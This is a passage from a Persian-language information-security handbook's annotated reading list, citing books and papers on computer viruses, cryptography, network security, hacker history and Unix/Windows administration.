 به موضوعاتي در مورد     ACMتمام موضوع شمارة زير نشرية      
  :رخدادي كه يك كرم اينترنتي مسبب آن بود اختصاص دارد

Communications of the ACM, Volume 32, 
Number 6, June 1989 (the entire issue). 

هـاي فنـي    كتاب زير درواقع بهتـرين كتـابي بـود كـه جنبـه            
اي را مورد بحث قرار داده بود و بخوبي نيـز           ويروسهاي رايانه 

در دســترس قــرار داشــت، امــا در آن ســخني از ويروســهاي 
Macroها به ميان نيامده است:  

Ferbrache, David. The Pathology of 
Computer Viruses. London, England: 
Springer- Verlag, 1992. 

مجموعة جامعي از مطالب مربوط به ويروسـها، كرمهـا و نيـز             
چاپ مجدد مقالات سنتي، كه بيشتر بـه دلايـل تـاريخي در              

  :اينجا مورد اشاره قرار گرفته است

Denning, Peter J. Computers Under Attack: 
Intruders, Worms and Viruses. Reading, MA: 
ACM Press/Addison-Wesley, 1990. 

مجموعة جـامعي از مطالـب مربـوط بـه ويروسـها، كرمهـا و               
اين قبيل، كه بيـشتر بـه دلايـل تـاريخي در اينجـا       مواردي از 

  :مورد اشاره قرار گرفته است

Hoffman, Lance J., Rogue Programs: 
Viruses, Worms and Trojan Horses. New 
York, NY: Van Nostrand Reinhold, 1990. 

اي و  المللي در زمينة مقابله با ويروسهاي رايانه      يك نشرية بين  
رسد بيـشتر بـه     حذف آنها، كه بسيار معتبر است، و به نظر مي         

ايـن  . هاي آنها زياد اسـت    خورد كه تعداد رايانه   درد اداراتي مي  
آنهـا  كنـد كـه در      نشريه همچنين كنفرانـسهايي برگـزار مـي       

  :توان مقالات قابل توجهي در مورد ويروسها پيدا كرد مي

The Virus Bulletin. Virus Bulletin CTD. Oxon, 
England. (http://www.virusbtn.com) 
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  كتابهاي رمزنگاري

كتاب سنتي اين حوزه كه هم اكنون نسخة چاپي آن در بازار 
  :وجود ندارد، ولي حاوي مطالب پر ارزشي است

Denning, Dorothy E. R. Cryptography and 
Data Security. Reading, MA: Addison-
Wesley, 1983. 

، و  PGPكتابي كه تاريخچـة رمزنگـاري، تاريخچـة برنامـة           
  :دهد كاربرد آن برنامه را شرح مي

Garfinkel, Simson. PGP: Pretty Good 
Privacy. Sebastopol, CA: O’Reilly & 
Associates, 1994. 

Hinsley, F.H., and Alan Stripp. Code 
Breakers: The Inside Story of Bletchley 
Park. Oxford, England: Oxford University 
Press, 1993. 

ــة      ــورد تراش ــالات در م ــب و مق ــالبي از مطال ــة ج مجموع
Clipper قانونگذاري در حوزة فضاي الكترونيكي، و سياست ،
 مراجـع سـنتي بـه شـمار         در قبال رمزگـذاري، كـه از        عمومي

  :رود مي

Hoffman, Lance J. Building in Big Brother: 
The Cryptographic Policy Debate. New York, 
NY: Springer-Verlag, 1995. 

كتابي كه براي اولين بار معرف رمزنگاري بود، پـيش از آنكـه        
  :كليد عمومي اختراع شود

Kahn, David. The Codebreakers. New York, 
NY: Macmillan Company, 1972. 

اي و    ترين كتاب غير محرمانه در مورد رمزگذاري رايانـه          جامع
روشهاي حفاظت از اطلاعات كـه تـاكنون بـه چـاپ رسـيده              

  : است

Schneier, Bruce. Applied Cryptography: 
Protocols, Algorithms, and Source Code in 
C. Second edition. New York, NY: John 
Wiley & Sons, 1996. 

روز از تاريخچــه و اصــول يــك كتــاب بــسيار خوانــدني و بــه
  :رمزنگاري

Singh, Simon. The Code Book: The Science 
of Secrecy from Ancient Egypt to Quantum 
Cryptography. NY: Anchor Books, 2000. 

Wayner, Peter. Disappearing Cryptography; 
Boston, MA: Academic Press, 1996. 

  مقالات و ساير نشريات مربوط به رمزنگاري

 در مورد كميتة ACMگزارش يك ميزگرد اختصاصي 
  :سياستگذاري عمومي ايالات متحده

Association for Computing Machinery (ACM). 
“Codes, Keys, and Conflicts: Issues in U.S. 
Crypto Policy.” USACM, June 1994. 
(http://info.acm.org/reports/acm_crypto_study. html) 

  :تاريخچة مشروح رمزنگاري كليد عمومي به زبان نويسنده

Diffie, Whitfield. “The First Ten Years of 
Public-Key Cryptography.” Proceedings of 
the IEEE 76 (1988): 560–76. 

  :را معرفي كرد  اي كه مفهوم رمزنگاري كليد عمومي مقاله

Diffie, Whitfield, and M.E. Hellman. “New 
Directions in Cryptography.” IEEE 
Transactions on Information Theory IT-22 
(1976). 

  :دهد  را شرح ميIDEAاي كه الگوريتم رمز مقاله

Lai, Xuejia. “On the Design and Security of 
Block Ciphers.” ETH Series in Information 
Processing 1 (1992). 

LaMacchia, Brian A. and Andrew M. 
Odlyzko. “Computation of Discrete 
Logarithms in Prime Fields.” Designs, 
Codes, and Cryptography. (1991):, 46–62. 

Lenstra, A.K., H. W. Lenstra, Jr., M.S. 
Manasse, and J.M. Pollard. “The Number 
Field Sieve.” Proceedings of the 22nd ACM 
Symposium on the Theory of Computing. 
Baltimore MD: ACM Press, 1990, 564–72. 
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 ٤٩٨  راهنماي امنيت فناوري اطلاعات

  :اين مقاله مفهوم رمزنگاري كليد عمومي را عنوان كرده است

Merkle, Ralph. “Secure Communication over 
Insecure Channels.” Communications of the 
ACM 21 (1978): 294–99 (submitted in 1975). 

Merkle, Ralph, and Martin E. Hellman. “On 
the Security of Multiple Encryption.” 
Communications of the ACM 24 (1981): 
465–67. 

Merkle, Ralph, and Martin E. Hellman. 
“Hiding Information and Signatures in Trap 
Door Knapsacks.” IEEE Transactions on 
Information Theory 24 (1978): 525–30. 

Rivest, Ron, A. Shamir, and L. Adleman. “A 
Method for Obtaining Digital Signatures and 
Public Key Cryptosystems.” 
Communications of the ACM 21 (1978). 

  امنيت رايانه بصورت عام

اي در سطح متـون       مة كامل و مناسب از امنيت رايانه      يك مقد 
  : دانشگاهي

Amoroso, Edward. Fundamentals of 
Computer Security Technology. Englewood 
Cliffs, NJ: Prentice-Hall, 1994. 

كتاب جامعي در مورد طراحي سيستمهاي انتهـا بـه انتهـا، بـا            
  :مدنظر داشتن موضوع امنيت

Anderson, Ross. Security Engineering; NYC, 
NY: John Wiley & Sons, 2001. 

يك كتاب بسيار خـوب در تاريخچـه و سـاختار سيـستمهاي             
  : ها ياب براي ميزبانها و شبكهمهاجم

Bace, Rebecca. Intrusion Detection; 
Indianapolis, IN: Macmillan, 2000. 

 در  Elsevier بار در سـال توسـط انتـشارات          ۸اي كه   نشريه
براي سفارش كتاب با شـمارة      (رسد   به چاپ مي    آكسفورد انگلستان 

  ): تماس بگيريد865-512242 (0) 44+
Computers & Security 

قيمت . اين نشريه يكي از مهمترين مطبوعات اين حوزه است        
اي است كه بيشتر براي اشـتراك مؤسـسات          اين نشريه بگونه  

ة اين نـشريه بـه دههـا       هر شمار .  مناسب است تا افراد حقيقي    
نشريه و سازمان ديگر كه ممكن است در آنهـا مطالـب قابـل       
. توجه يافت شود و نيز مقالات، مراجع و مكاتبـات اشـاره دارد     

هـاي  آدرس اينترنتي صفحات وب آن نيز در قسمت گاهنامـه         
  .آمده است) انتهاي همين پيوست(امنيتي 

انه هنـوز   متأسف. يك مقدمة قوي از طراحي سيستمهاي ايمن      
شـده در ايـن كتـاب در سيـستمهاي          هم بيشتر اصـول گفتـه     

  :گيردپيشرفته نيز مورد استفاده قرار نمي

Gasser, Morrie. Building a Secure Computer 
System. New York, NY: Van Nostrand 
Reinhold, 1988. 

يــك كتــاب و مرجــع تحقيقــاتي خــوب كــه در محيطهــاي  
  :شوديادي ميدانشگاهي از آن استفادة ز

Gollmann, Dieter. Computer Security; 
Chichester, UK, John Wiley & Sons, 1999. 

هـاي    مجموعة بزرگ و جامعي از مقالات مربوط به همة جنبه         
  :اي امنيت رايانه

Hunt, A. E., S. Bosworth, and D. B. Hoyt, 
eds. Computer Security Handbook, 3rd 
edition. New York, NY: Wiley, 1995. 

  :اييك مقدمة خوب ديگر در زمينة امنيت رايانه

Pfleeger, Charles P and Shari Lawrence 
Pfleeger. Security in Computing. Englewood 
Cliffs, NJ: Prentice-Hall, 3rd edition, 2002. 

اي، و هاي امنيت رايانه يك مقدمة عالي براي بسياري از حوزه      
  : از الزامات و ملاحظات امنيتي دولتايخلاصه

Russell, Deborah, and G. T. Gangemi, Sr. 
Computer Security Basics. Sebastopol, CA: 
O’Reilly & Associates, 1991. 

Schneier, B. Secrets and Lies: Digital 
Security in a Networked World. New York: 
John Wiley & Sons, 2000. 
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اين كتاب براي افرادي كه بدنبال درك محدوديتهاي          عة  مطال
  : اي هستند يك ضرورت است امنيت و اعتماد رايانه

Thompson, Ken. “Reflections on Trusting 
Trust” Communications of the ACM, Volume 
27, Number 8, August (1984). 

ت افـزار ايمـن، و مـشكلا        يك كتاب عالي در مورد توليد نـرم       
  :ضابطهنويسي بيبرنامه

Viega, John and Gary McGraw. Building 
Secure Software; Indianapolis, IN: Pearson/ 
Addison-Wesley, 2002. 

  كتابي شامل يك فهرست جامع و جزئي براي برآورد وضعيت         
  :ايمني رايانه و عمليات

Wood, Charles Cresson, et al. Computer 
Security: A Comprehensive Controls 
Checklist, New York, NY: John Wiley & 
Sons, 1987. 

هرچند اين كتاب هم اكنون در بازار نيـست، امـا اگـر بتوانيـد            
تواند به يـك مرجـع بـسيار        يك نسخة قديمي آنرا بيابيد، مي     

  .باارزش برايتان تبديل شود

  ايمني شبكه فناوري و 

اين كتاب تقريبـاً    . رة آتش دومين ويرايش از مرجع سنتي ديوا     
هاي آتش را به شـما      همة نكات در مورد نحوة عملكرد ديواره      

متن اولية كتاب بصورت گسترده و رايگان در پايگاه     . آموزد  مي
http://www.wilyhacker.com/1e/ قابـــل دسترســـي 

  :است

Cheswick, Bill, Steve Bellovin, and Aviel 
Rubin. Firewalls and Internet Security: 
Repelling the Wily Hacker, 2nd Edition. 
Reading, MA: Addison-Wesley, 2003. 

يك كتاب آموزشـي عـالي كـه بـا جزئيـات روشـن بـه شـما            
  :توانيد ديوارة آتش خود را بسازيدآموزد كه چگونه مي مي

Chapman, D. Brent, and Elizabeth D. 
Zwicky. Building Internet Firewalls. 
Sebastopol, CA: O’Reilly & Associates, 2nd 
edition, 2000. 

يك مرجع كامـل و جـذاب كـه بـه تـشريح نحـوة عملكـرد                 
 شامل اطلاعاتي در مـورد پروتكلهـا،        - TCP/IPهاي    شبكه

tuningپردازد  مي-هاي كاربردي ، و برنامه:  

Comer, Douglas E. Internetworking with 
TCP/IP, 3rd Edition. Englewood Cliffs, NJ: 
Prentice Hall, 4th edition, 2000. 

Garfinkel, Simson. Web Security, Privacy, 
and Commerce, 2nd Edition. Cambridge, 
MA: O’Reilly and Associates, Inc. 2002. 

 Windows 2000 را در محيطهـاي  kerberosكتابي كه 
  : بطور كامل تشريح كرده استUnixو 

Garman, Jason. Kerberos – The Definitive 
Guide. Cambridge, MA: O’Reilly and 
Associates, Inc, 2003. 

و بـا تمركـز      (TCP/IPسازي    كتابي كه مروري عالي بر شبكه     
انجام داده و يك مرجع بسيار مفيد براي        ) Unixروي سيستمهاي   

 ماننـد   - Unixهـاي   برپايي خدمات و ابزارهاي اصلي شـبكه      
Bind و sendmail -باشد  مي:  

Hunt, Craig. TCP/IP Network 
Administration.Sebastopol, CA: O'Reilly & 
Associates, 3rd edition, 2002. 

Kaufman, Charles, Radia Perlman, and Mike 
Speciner. Network Security: Private 
Communications in a Public World. 
Englewood Cliffs, NJ: Prentice-Hall, 2nd 
edition, 2002. 

  :يك كتاب مقدماتي مناسب

Stallings, William. Cryptography and 
Network Security: Principles and Practices. 
Englewood Cliffs, NJ: PrenticeHall, 2003. 

  اطلاعات مربوط به خدمات و محصولات امنيتي

افـزاري   تمهاي نـرم افزارهـا و سيـس    فهرست جامعي از سـخت    
ايـن    . امنيت رايانه كه بـصورت تجـاري در دسـترس هـستند             

باشد   فهرست، با عضويت در مؤسسه مربوط به آن رايگان مي         
  ):http://www.gocsi.comو آدرس وب آن هم عبارت است از (
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 ٥٠٠  راهنماي امنيت فناوري اطلاعات

Computer Security Buyer’s Guide, Computer 
Security Institute, San Francisco, CA. 
(Order from CSI, 415-905-2626) 

  اي درك فرهنگ امنيت رايانه

اي را    هـاي رايانـه     هايي از آيندة شبكه   تمامي مراجع زير، جنبه   
نظر رمزشكنها مـورد بحـث      نمايند و بيشتر از نقطه      تشريح مي 
  .اند قرار گرفته

برداري مختلـف نفـوذگران     هاي بهره برنامهكتابي حاوي قطعه  
داسـتانهاي ايـن كتـاب صـحت ندارنـد،          بعضي از   . استراليايي

چراكه نويسنده نتوانـسته بـا تمـام قربانيـان تمـاس بگيـرد و               
  :صحت و سقم مطلب را ارزيابي كند

Dreyfus, Suelette. Underground; Australia, 
Reed Books, 1997. 

 تخيلي به رشـتة تحريـر     -كتابي كه توسط نويسندگان علمي      
  :را بكار برده بود" فضاي مجازي"درآمد و براي اولين بار كلمة 

Gibson, William. Burning Chrome, 
Neuromancer, Count Zero, Mona Lisa 
Overdrive, Virtual Light, Idoru, All 
Tomorrow’s Parties. New York, NY: Bantam 
Books Cyberpunk. 

، Kevin Mitrick(كتــابي كــه داســتانهايي از ســـه نفـوذگـــر  
Pengo و ،Robert.T.Morris (كند را بازگويي مي:  

Hafner, Katie and John Markoff, Cyberpunk: 
Outlaws and Hackers on the Computer 
Frontier. New York, NY: Simonand Schuster, 
1991. 

تـشريح پايبنـديها و اعتقـادات         يكي از كتابهاي اوليـه كـه بـه        
  :پردازد اخلاقي نفوذگران مي

Levy, Steven. Hackers: Heroes of the 
Computer Revolution. New York, NY: Dell 
Books, 1984. 

كتابي كه نويـسندة آن يكـسال قبـل از دسـتگيري در سـال               
 داشـته  Kevin Mitnick گفتگوهاي تلفني بسياري با ۱۹۹۵

اي   توان به يك نفوذگر رايانه    و طي آنها آموخته كه چگونه مي      
  :  داستان همين ماجرا استتبديل شد، و اين كتاب نيز

Littman, Jonathan, The Fugitive Game: 
Online with Kevin Mitnick. Boston, MA: Little, 
Brown, 1996. 

ــال   ــسمس س ــه   ۱۹۹۴در روز كري ــه رايان ــاجم ب ــك مه ، ي
Shimora  چند هفته بعـد از      .  نفوذ كردShimora   خواسـته 

 در  ISPشد كـه در مجموعـه حملاتـي كـه بـه چنـد مركـز                 
در نهايـت، رد مهـاجم   .  فرانسيسكو انجام شده كمك كند   سان

به كاليفرنياي شمالي رسـيد و ادامـة تحقيقـات بـه تعقيـب و               
ايـن داسـتاني اسـت    .  منجر شدKevin Mitnickدستگيري 
نگار روزنامة نيويورك     روزنامه (Markoff و   Shimoraكه توسط   

در كتاب زير شـرح  ) تايمز كه از ماجراي دستگيري گزارش تهيه كرده 
  . داده شده است

Shimomura, Tsutomu, with John Markoff. 
Takedown: The Pursuit and Capture of 
Kevin Mitnick, America’s Most Wanted 
Computer Outlaw—By the Man Who Did It. 
NewYork, NY: Hyperion, 1995. 

Sterling, Bruce. The Hacker Crackdown: 
Law and Disorder on the Electronic Frontier. 

ــددي روي   ــاي متع ــوق در پايگاهه ــاب ف ــل  كت ــت قاب اينترن
، و نيــز COAST، از جملــه در فهرســتهاي  دسترســي اســت

  :آدرس زير
http://www.swiss.ai.mit.edu/~bal/sterling/con
tents.html 

اي از طريق     يك ماجراي خواندني از تعقيب يك مهاجم رايانه       
بعدها مشخص شـد كـه ايـن مهـاجم بـراي سـازمان              . هشبك

KGB  كرده و تلاش وي بـر آن بـوده كـه اطلاعـات        كار مي
  :ايالات متحده بدزدد حساس را از سيستمهاي 

Stoll, Cliff. The Cuckoo’s Egg, Garden City, 
NY: Doubleday, 1989. 

Varley, John. “Press” Enter. 

 تخيلـي بـه     -اي علمـي    همطلب فوق در بسياري از مجموعه     
توان بـه دو مـورد زيـر    چاپ مجدد رسيده كه از جملة آنها مي   

  :اشاره كرد

Blue Champagne, Ace Books, 1986; Isaac 
Asimov’s Science Fiction Magazine, 1984; 
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Tor SF Doubles, October, TorBooks, 1990. 

Vinge, Vernor. True Names and Other 
Dangers. New York,NY: Baen, distributed by 
Simon & Schuster, 1987. 

  Unixعامل راهبري سيستم

هـاي  دهنـده اندازي سرويس يك مرجع عالي براي نصب و راه      
  :DNSنام 

Albitz, Paul and Cricket Liu. DNS and BIND. 
Sebastopol, CA: O’Reilly & Associates, 4th 
edition, 2001. 

  ":ksh" و مرجعي براي پوستة يك كتاب كامل آموزشي

Bolsky, Morris I., and David G. Korn. The 
New Kornshell Command and Programming 
Language. Englewood Cliffs, NJ: Prentice-
Hall, 2nd edition, 1995. 

   و Unixعامـل   يك راهنماي خوب در مورد روح كلي سيستم       
هـاي پوسـته و     رنامـه بتـوان در آن، قطعـه       اينكه چگونـه مـي    

  :هاي دستورنويسي را بوجود آورد محيط

Kernighan, Brian, Dennis Ritchie and Rob 
Pike. The UNIX Programming Environment. 
Englewood Cliffs, NJ: Prentice-Hall, 1984. 

يك مرجع بسيار خـوب در مـورد مزايـا و معايـب اسـتفاده از                
وي اطلاعـاتي در مـورد      ايـن كتـاب حـا     . Unixعامل  سيستم

انـدازي    نحوة پيكربندي سيستم، افزودن و حذف كـاربران، راه        
هـاي  سيستم حسابداري براي حسابهاي كاربري، تهية نـسخه    

 و نيـز    sendmailانـدازي     هـا، راه  پشيبان، پيكربندي شـبكه   
  :شود بسياري موارد ديگر است و خواندن آن كاملاً توصيه مي

Nemeth, Evi, Garth Snyder, Scott Seebass, 
and Trent R. Hein. UNIX System 
Administration Handbook, 3rd Edition. 
Englewood Cliffs, NJ: Prentice-Hall, 2000. 

Welsh, Matt, Kaufman, Lar, Dalheimer, 
Matthias K., and Dawson, Terry. Running 
Linux, 4th edition. Sebastopol, CA: O’Reilly 
& Associates, 2002. 

يك نياز اساسي براي    .  Perlاي  برنامهمرجع اصلي زبان قطعه   
ــا shell ،awkهمــة كــساني كــه در محيطهــاي   sed، و ي

خواهنـد بـه سـرعت نوشـتن          كنند و يـا مـي     نويسي مي برنامه
  : را فرا بگيرندUnixهاي كاربردي در محيط برنامه

Wall, Larry, Christiansen, Tom, and Orwant, 
Jon. Programming perl, 3rd edition, 
Sebastopol, CA: O’Reilly & Associates, 
2000. 

  Windowsعامل  راهبري سيستم

انتشارات اوريلي و همكـاران مجموعـه كتابهـاي مفيـدي در            
 دارد، از جمله كتـاب      Windowsعامل    زمينة راهبري سيستم  

 :كتابهاي زير

Windows NT TCP/IP Network Administration 
(Craig Hunt and RobertBruce Thompson, 1998). 

Managing the Windows 2000 Registry 
(Robichaux, 2000). 

DHCP for Windows 2000 (Neall Alcott, 2001). 

DNS on Windows 2000, 2nd Edition (Matt 
Larson and Cricket Liu, 2001). 

Windows 2000 Administration in a Nutshell 
(Mitch Tulloch, 2001). 

  :و نهايتاً

Windows Server 2003 in a Nutshell (Mitch 
Tulloch, 2003). 

  هاي امنيتي گاهنامه

Computer Audit Update 
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